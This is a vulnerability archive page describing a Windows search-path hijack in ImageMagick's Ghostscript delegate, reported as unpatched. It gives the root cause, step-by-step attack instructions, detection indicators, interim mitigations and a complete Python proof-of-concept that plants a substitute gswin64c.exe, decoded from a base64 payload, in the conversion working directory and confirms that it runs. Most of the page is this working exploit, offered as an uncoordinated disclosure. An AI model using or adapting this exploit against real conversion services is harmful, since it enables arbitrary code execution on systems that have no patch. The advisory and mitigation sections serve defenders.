PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

ImageMagick Ghostscript Delegate Search Path Hijack

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
binary
Affected product
ImageMagick (Ghostscript delegate for PDF/PS/EPS conversion) on Windows
Affected versions
ImageMagick 7.1.2-25 with Ghostscript 10.07.1 (Windows x64)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorybinary
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsimagemagick, ghostscript, windows, search-path-hijack, dll-planting-adjacent, delegate-execution, code-execution, pdf
RelatedN/A

Affected Target

FieldValue
Software / SystemImageMagick (Ghostscript delegate for PDF/PS/EPS conversion) on Windows
Versions AffectedImageMagick 7.1.2-25 with Ghostscript 10.07.1 (Windows x64)
Language / PlatformC/C++ (ImageMagick delegate handling), Python 3 PoC harness, Windows process creation API
Authentication RequiredLocal-only (attacker needs write access to the conversion working directory)
Network Access RequiredNo

Summary

When ImageMagick converts PDF/PS/EPS-family inputs on Windows and cannot resolve a full path to Ghostscript, it falls back to invoking the bare executable name gswin64c.exe and launches it through the Windows process API with the application name left unset — letting standard Windows executable search order pick the binary that actually runs. If the conversion process’s working directory is attacker-writable, a planted gswin64c.exe there can be launched instead of the real Ghostscript binary whenever ImageMagick processes a PDF/PS-family file placed in (or alongside inputs in) that directory. The included PoC demonstrates this with a harmless marker-writing helper: conversions from a “control” directory (no planted binary) succeed normally via PATH, while conversions from a “hijack” directory (containing the planted gswin64c.exe) launch the attacker’s binary and record the exact delegate arguments ImageMagick passed to it. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

ImageMagick’s Ghostscript delegate command template substitutes the bare name gswin64c.exe for @PSDelegate@ when a full Ghostscript path cannot be resolved (e.g., no registry entry / portable deployment / restricted MAGICK_GHOSTSCRIPT_PATH). The resulting command is launched without an explicit absolute executable path, so Windows process-creation search order — which can include the current working directory — can select an attacker-planted binary over the legitimate Ghostscript executable on PATH.

Attack Vector

  1. Attacker gains write access to a directory ImageMagick will use as its working directory when processing PDF/PS/EPS-family files (e.g., a shared upload/conversion staging directory in an automated pipeline).
  2. Attacker plants a malicious gswin64c.exe in that directory.
  3. Attacker (or the pipeline) submits a PDF/PS-family file for conversion from that same directory, in an environment where ImageMagick’s Ghostscript path resolution falls into the bare-name fallback (e.g., MAGICK_GHOSTSCRIPT_PATH pointing at a directory without Ghostscript DLLs, or portable/no-registry deployments).
  4. ImageMagick launches gswin64c.exe without an explicit path; Windows resolves and runs the attacker’s planted binary instead of the real Ghostscript executable, executing attacker code in the ImageMagick conversion process’s context.

Impact

Arbitrary code execution in the context of the ImageMagick conversion process on Windows automated conversion services, image-processing pipelines, or any workflow where untrusted users can influence the working directory used for PDF/PS/EPS conversion.


Environment / Lab Setup

Target:   ImageMagick 7.1.2-25 + Ghostscript 10.07.1 on Windows x64
Attacker: Python 3, write access to the conversion working directory

Proof of Concept

PoC Script

See poc.py, helper/FakeGswin64c.cs, and helper/gswin64c.exe.b64 in this folder.

1
python poc.py --magick "C:\path\to\magick.exe" --gs-bin "C:\path\to\ghostscript\bin"

The script builds a benign PDF, runs ImageMagick from a clean “control” directory (conversion succeeds via the real Ghostscript on PATH), then runs it again from a “hijack” directory containing the marker-writing gswin64c.exe built from helper/FakeGswin64c.cs — confirming the planted binary is launched instead and logging the exact delegate arguments it received.


Detection & Indicators of Compromise

Signs of compromise:

  • Ghostscript delegate processes spawned from upload/staging directories instead of the Ghostscript install path
  • Unexpected binaries named gswin64c.exe/gswin32c.exe present in conversion working directories
  • Marker files or unexpected side effects appearing after routine PDF/PS conversion jobs

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationSet MAGICK_GHOSTSCRIPT_PATH to an explicit, trusted Ghostscript bin directory; run conversion jobs from a working directory untrusted users cannot write to; keep upload/extraction directories separate from conversion working directories; disable PDF/PS-family delegates when not required

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: imagemagick-gs-delegate-hijack-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import os
import platform
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path


def sha256(path):
    h = hashlib.sha256()
    with open(path, "rb") as f:
        for chunk in iter(lambda: f.read(1024 * 1024), b""):
            h.update(chunk)
    return h.hexdigest().upper()


def build_pdf():
    objects = [
        b"<< /Type /Catalog /Pages 2 0 R >>",
        b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
        b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 72 72] /Contents 4 0 R >>",
        b"<< /Length 38 >>\nstream\n0.1 0.4 0.8 rg\n10 10 52 52 re\nf\nendstream",
    ]
    out = bytearray(b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n")
    offsets = [0]
    for index, body in enumerate(objects, start=1):
        offsets.append(len(out))
        out.extend(f"{index} 0 obj\n".encode("ascii"))
        out.extend(body)
        out.extend(b"\nendobj\n")
    xref = len(out)
    out.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
    out.extend(b"0000000000 65535 f \n")
    for offset in offsets[1:]:
        out.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
    out.extend(f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\nstartxref\n{xref}\n%%EOF\n".encode("ascii"))
    return bytes(out)


def run(cmd, cwd, env):
    return subprocess.run(
        cmd,
        cwd=str(cwd),
        env=env,
        text=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        shell=False,
    )


def find_exe(name, explicit):
    if explicit:
        path = Path(explicit).expanduser().resolve()
        if not path.exists():
            raise SystemExit(f"{name} was not found: {path}")
        return path
    found = shutil.which(name)
    if not found:
        raise SystemExit(f"{name} was not found in PATH; pass its path explicitly")
    return Path(found).resolve()


def write_text(path, text):
    path.write_text(text, encoding="utf-8", errors="replace")


def load_helper_payload():
    payload = Path(__file__).resolve().parent / "helper" / "gswin64c.exe.b64"
    if not payload.exists():
        raise SystemExit(f"helper payload missing: {payload}")
    return base64.b64decode("".join(payload.read_text(encoding="ascii").split()))


def main():
    parser = argparse.ArgumentParser(description="ImageMagick Ghostscript delegate executable search-path PoC")
    parser.add_argument("--magick", help="Path to magick.exe. Defaults to magick.exe in PATH.")
    parser.add_argument("--gs-bin", help="Directory containing the real gswin64c.exe. Defaults to PATH lookup.")
    parser.add_argument("--magick-configure-path", help="Optional ImageMagick config directory for portable builds.")
    parser.add_argument("--workdir", help="Directory for generated PoC files. Defaults to a temp directory.")
    args = parser.parse_args()

    if platform.system() != "Windows":
        raise SystemExit("This PoC exercises ImageMagick's Windows delegate launcher path. Run it on Windows with Python 3.")

    magick = find_exe("magick.exe", args.magick)
    if args.gs_bin:
        gs_bin = Path(args.gs_bin).expanduser().resolve()
        gs_exe = gs_bin / "gswin64c.exe"
        if not gs_exe.exists():
            raise SystemExit(f"gswin64c.exe was not found in --gs-bin: {gs_bin}")
    else:
        gs_exe = find_exe("gswin64c.exe", None)
        gs_bin = gs_exe.parent

    if args.workdir:
        root = Path(args.workdir).expanduser().resolve()
        root.mkdir(parents=True, exist_ok=True)
    else:
        root = Path(tempfile.mkdtemp(prefix="im-gs-delegate-poc-")).resolve()

    control = root / "control"
    hijack = root / "hijack"
    fallback = root / "ghostscript-path-without-dll"
    for directory in (control, hijack, fallback):
        directory.mkdir(parents=True, exist_ok=True)

    for directory in (control, hijack):
        (directory / "benign.pdf").write_bytes(build_pdf())

    helper = hijack / "gswin64c.exe"
    helper.write_bytes(load_helper_payload())
    marker = hijack / "marker.txt"

    env = os.environ.copy()
    env["PATH"] = str(gs_bin) + os.pathsep + env.get("PATH", "")
    env["MAGICK_GHOSTSCRIPT_PATH"] = str(fallback)
    env["IM_GS_MARKER"] = str(marker)
    if args.magick_configure_path:
        env["MAGICK_CONFIGURE_PATH"] = str(Path(args.magick_configure_path).expanduser().resolve())

    magick_version = run([str(magick), "-version"], root, env)
    gs_version = run([str(gs_exe), "--version"], root, env)
    control_result = run([str(magick), "-verbose", "benign.pdf", "control.png"], control, env)
    hijack_result = run([str(magick), "-verbose", "benign.pdf", "hijack.png"], hijack, env)

    write_text(control / "stdout.txt", control_result.stdout)
    write_text(control / "stderr.txt", control_result.stderr)
    write_text(hijack / "stdout.txt", hijack_result.stdout)
    write_text(hijack / "stderr.txt", hijack_result.stderr)

    marker_text = marker.read_text(encoding="utf-8", errors="replace") if marker.exists() else ""
    result = {
        "workdir": str(root),
        "magick": {
            "path": str(magick),
            "sha256": sha256(magick),
            "version": magick_version.stdout.strip(),
        },
        "ghostscript": {
            "path": str(gs_exe),
            "sha256": sha256(gs_exe),
            "version": gs_version.stdout.strip(),
        },
        "helper": {
            "path": str(helper),
            "sha256": sha256(helper),
        },
        "control": {
            "exit_code": control_result.returncode,
            "output_png": str(control / "control.png"),
            "output_exists": (control / "control.png").exists(),
        },
        "hijack": {
            "exit_code": hijack_result.returncode,
            "marker": str(marker),
            "marker_exists": marker.exists(),
            "marker_text": marker_text,
        },
    }

    result_path = root / "result.json"
    result_path.write_text(json.dumps(result, indent=2), encoding="utf-8")

    print(json.dumps(result, indent=2))
    if not result["control"]["output_exists"]:
        raise SystemExit("Control conversion did not produce output; check control/stderr.txt")
    if not result["hijack"]["marker_exists"]:
        raise SystemExit("Hijack marker was not written; check hijack/stderr.txt")
    if "fake gswin64c executed" not in marker_text:
        raise SystemExit("Hijack marker did not contain the expected helper output")
    print(f"\nPoC verified. Evidence directory: {root}")


if __name__ == "__main__":
    sys.exit(main())